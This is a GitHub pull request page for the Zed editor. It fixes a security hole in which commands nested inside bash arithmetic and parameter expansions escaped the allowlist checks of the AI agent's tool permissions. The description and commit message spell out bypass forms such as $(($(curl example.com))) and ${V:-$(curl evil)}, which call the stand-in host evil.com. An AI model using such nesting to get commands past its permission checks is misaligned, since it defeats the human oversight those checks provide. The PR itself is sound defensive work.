Skip to content

Extract nested command substitutions from arithmetic expansions - #54690

Merged
rtfeldman merged 3 commits into
mainfrom
SEC-267/arithmetic-expansion-nested-commands
May 5, 2026
Merged

Extract nested command substitutions from arithmetic expansions#54690
rtfeldman merged 3 commits into
mainfrom
SEC-267/arithmetic-expansion-nested-commands

Conversation

@rtfeldman

@rtfeldman rtfeldman commented Apr 23, 2026

Copy link
Copy Markdown
Contributor

Bash arithmetic expansion $((...)) can contain command substitutions like $(curl evil.com). Previously, extract_commands_from_word_piece treated ArithmeticExpression as a no-op, so nested commands inside $(( ... )) were never extracted for allowlist checking.

This fix re-parses the ArithmeticExpression value string using brush_parser::word::parse and recursively extracts any embedded command substitutions, mirroring how CommandSubstitution and DoubleQuotedSequence are already handled.

Closes SEC-267

Release Notes:

  • Commands nested inside bash arithmetic expansions (e.g. $(($(curl example.com)))) are now understood by the tool-calling permissions regexes.

@rtfeldman rtfeldman self-assigned this Apr 23, 2026
@cla-bot cla-bot Bot added the cla-signed The user has signed the Contributor License Agreement label Apr 23, 2026
@zed-community-bot zed-community-bot Bot added the staff Pull requests authored by a current member of Zed staff label Apr 23, 2026
@rtfeldman
rtfeldman marked this pull request as ready for review April 24, 2026 15:19
rtfeldman added 2 commits May 5, 2026 11:18
Addresses code review feedback on the SEC-267 fix:

1. Use `?` to propagate brush word parse failures from
   `ArithmeticExpression` instead of silently swallowing them with
   `if let Ok(...)`. The codebase convention is that `None` from
   `extract_commands` means "parse failed", which causes callers
   (e.g. `ToolPermissionDecision::from_input`) to fall back to
   raw-string allowlist matching. Silently dropping a parse failure
   here meant the outer command was returned alone and the inner
   contents were never checked.

2. Recurse into `ParameterExpansion` to extract command substitutions
   from default values, alternative values, error messages, patterns,
   replacements, and substring offsets/lengths. This is the symmetric
   fix for the same class of bug as arithmetic. The `validate`
   pre-check rejects these as `Unsafe` today, but defense-in-depth:
   a future change to `validate` should not silently re-introduce
   an allowlist bypass via `${V:-$(curl evil)}`,
   `${V/pat/$(curl evil)}`, or `${V:$(($(curl))):1}`.

3. Add tests covering doubly-nested arithmetic, arithmetic inside
   double quotes, and each `ParameterExpr` variant that subjects a
   user-supplied string to command substitution at expansion time.
@rtfeldman
rtfeldman added this pull request to the merge queue May 5, 2026
Merged via the queue into main with commit 3be7bdc May 5, 2026
31 checks passed
@rtfeldman
rtfeldman deleted the SEC-267/arithmetic-expansion-nested-commands branch May 5, 2026 16:29
ebaah46 pushed a commit to ebaah46/zed that referenced this pull request May 6, 2026
…industries#54690)

Bash arithmetic expansion `$((...))` can contain command substitutions
like `$(curl evil.com)`. Previously, `extract_commands_from_word_piece`
treated `ArithmeticExpression` as a no-op, so nested commands inside
`$(( ... ))` were never extracted for allowlist checking.

This fix re-parses the `ArithmeticExpression` value string using
`brush_parser::word::parse` and recursively extracts any embedded
command substitutions, mirroring how `CommandSubstitution` and
`DoubleQuotedSequence` are already handled.

Closes SEC-267

Release Notes:

- Commands nested inside bash arithmetic expansions (e.g. `$(($(curl
example.com)))`) are now understood by the tool-calling permissions
regexes.
jonx pushed a commit to jonx/zed-aros that referenced this pull request Jul 17, 2026
…industries#54690)

Bash arithmetic expansion `$((...))` can contain command substitutions
like `$(curl evil.com)`. Previously, `extract_commands_from_word_piece`
treated `ArithmeticExpression` as a no-op, so nested commands inside
`$(( ... ))` were never extracted for allowlist checking.

This fix re-parses the `ArithmeticExpression` value string using
`brush_parser::word::parse` and recursively extracts any embedded
command substitutions, mirroring how `CommandSubstitution` and
`DoubleQuotedSequence` are already handled.

Closes SEC-267

Release Notes:

- Commands nested inside bash arithmetic expansions (e.g. `$(($(curl
example.com)))`) are now understood by the tool-calling permissions
regexes.
jolutz pushed a commit to jolutz/zed that referenced this pull request Aug 8, 2026
…industries#54690)

Bash arithmetic expansion `$((...))` can contain command substitutions
like `$(curl evil.com)`. Previously, `extract_commands_from_word_piece`
treated `ArithmeticExpression` as a no-op, so nested commands inside
`$(( ... ))` were never extracted for allowlist checking.

This fix re-parses the `ArithmeticExpression` value string using
`brush_parser::word::parse` and recursively extracts any embedded
command substitutions, mirroring how `CommandSubstitution` and
`DoubleQuotedSequence` are already handled.

Closes SEC-267

Release Notes:

- Commands nested inside bash arithmetic expansions (e.g. `$(($(curl
example.com)))`) are now understood by the tool-calling permissions
regexes.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

cla-signed The user has signed the Contributor License Agreement staff Pull requests authored by a current member of Zed staff

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants